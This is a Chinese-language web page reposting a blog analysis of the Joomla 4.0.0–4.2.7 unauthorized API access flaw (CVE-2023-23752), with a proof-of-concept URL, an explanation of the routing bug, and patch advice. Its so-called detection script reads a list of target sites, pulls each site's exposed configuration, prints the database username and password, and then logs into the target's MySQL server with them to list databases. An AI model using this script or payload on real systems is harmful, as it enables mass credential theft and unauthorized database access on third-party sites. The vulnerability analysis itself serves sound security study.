我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Joomla未授权漏洞分析

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Joomla未授权漏洞分析

  1. 漏洞环境前置

Joomla版本

4.0.0 <= Joomla <= 4.2.7

  1. 漏洞复现

Poc:

http://127.0.0.1:8026/api/index.php/v1/config/application?public=true
  1. 漏洞分析:

该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:

根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/class="lazy" data-src/Router/ApiRouter.php#parseApiRoute方法。

在libraries/class="lazy" data-src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:

紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:

getRegex()的作用时获取router数组里面的路由。

POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。

进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,

此时数组变量vars值为:

这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.

重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true

最后经过return进行返回,获取route

接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。

检测脚本:

''' CVE-2023-23752Joomla未授权访问漏洞 ----by:FlynnAAAA'''import reimport requestsimport threadingimport jsonimport pymysqlthreadLock = threading.Lock()def urlsGet(url):    timeout = 5    #超时设置为3s    result = url.split("//")[1]  # 分割字符串并选择第二部分    IP=result.split(":")[0]    #print(IP)    url=url+"/api/index.php/v1/config/application?public=true"    try:        get_response = requests.get(url=url,timeout=timeout)        if "sitename" in get_response.text:            l_str = json.loads(get_response.text)            l_str_data=l_str['data']            print(url)            for key in l_str_data:               attributes=key['attributes']               for key in attributes:                    if key=="user":                        print("证号: "+attributes[key])                        user=attributes[key]                        if user=="root":print("值得注意!!!!!")                    if key=="password":                        print("密码: "+attributes[key])                        password=attributes[key]                    if key=="db":                        print("数据库名字: "+attributes[key])                        db=attributes[key]                    if key=="dbtype":                        print("数据库种类: "+attributes[key])                        db=attributes[key]            try:                db_link = pymysql.connect(host=IP,user=user,password=password,database=db)                print("连接成功")                cursor = db_link .cursor()                sql = "show databases;"                cursor.execute(sql)                # 获取查询结果                results = cursor.fetchall()                # 处理查询结果                for row in results:                    print(row)                cursor.close()                db_link.close()            except Exception as e:                print("连接失败")                pass        with open("example.txt", "w") as f:            # 将变量写入文件            f.write(url)    except Exception as e:        # threadLock.acquire()  # 同步锁,用于异步写入,避免同时写入出现错误        value3 = url + " -->失败"        print(value3);        passif __name__ == '__main__':    with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp:        urls = fp.readlines()        for url in urls:            if url.find("http") == 0:                url = url            else:                url = "http://"+url            url = url.replace("\n", "")            urlsGet(url)            #t = threading.Thread(target=urlsGet, args=(url,))  # 注意传入的参数一定是一个元组!            #t.start()
  1. 总结:

修复建议:

  1. 升级到最新版本
    https://github.com/joomla/joomla-cms/releases/tag/4.2.8

  1. 禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。

来源地址:https://blog.csdn.net/m0_59924300/article/details/129178110

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Joomla未授权漏洞分析

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-10-01

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

目录漏洞描述影响范围环境部署后台RCE未授权接口RCE声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。 漏洞描述 Apache APISIX 是一个动态、
2023-03-19

Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能,这篇文章主要介绍了Apache APISIX Dashboard 未授权访问漏洞(CVE-2021-45232),需要的朋友可以参考下
2023-03-19

Nacos未授权访问漏洞(CVE-2021-29441)

目录 漏洞描述影响范围环境搭建漏洞复现 声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。加粗样式 漏洞描述 Nacos 是阿里巴巴推出来的一个
2023-08-18

聊聊常见未授权访问漏洞总结

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

Apache APISIX Dashboard未授权访问漏洞怎么解决

今天小编给大家分享一下Apache APISIX Dashboard未授权访问漏洞怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来
2023-07-05

Linux sudo 漏洞可能导致未经授权的特权访问

在 linux 中利用新发现的 sudo 漏洞可以使某些用户以 root 身份运行命令,尽管对此还有所限制。 sudo 命令中最近发现了一个严重漏洞,如果被利用,普通用户可以 root 身份运行命令,即使在 /etc/sudoers 文件中
2022-06-04

Azure Functions 提权漏洞分析

Azure Functions 是一种无服务器解决方案,可以使用户减少代码编写、减少需要维护的基础结构并节省成本。

Docker API未授权访问漏洞问题怎么解决

本篇内容主要讲解“Docker API未授权访问漏洞问题怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Docker API未授权访问漏洞问题怎么解决”吧!因为docker赋有远程的远程控
2023-07-05

Windows Search Indexer 本地提权漏洞分析

Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式,对Windows Search Indexer的内存损坏漏洞进行分析非常有趣。因此,此后的Windows Service中很可能会出现这种内存损坏漏洞。
Windows2024-12-03

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录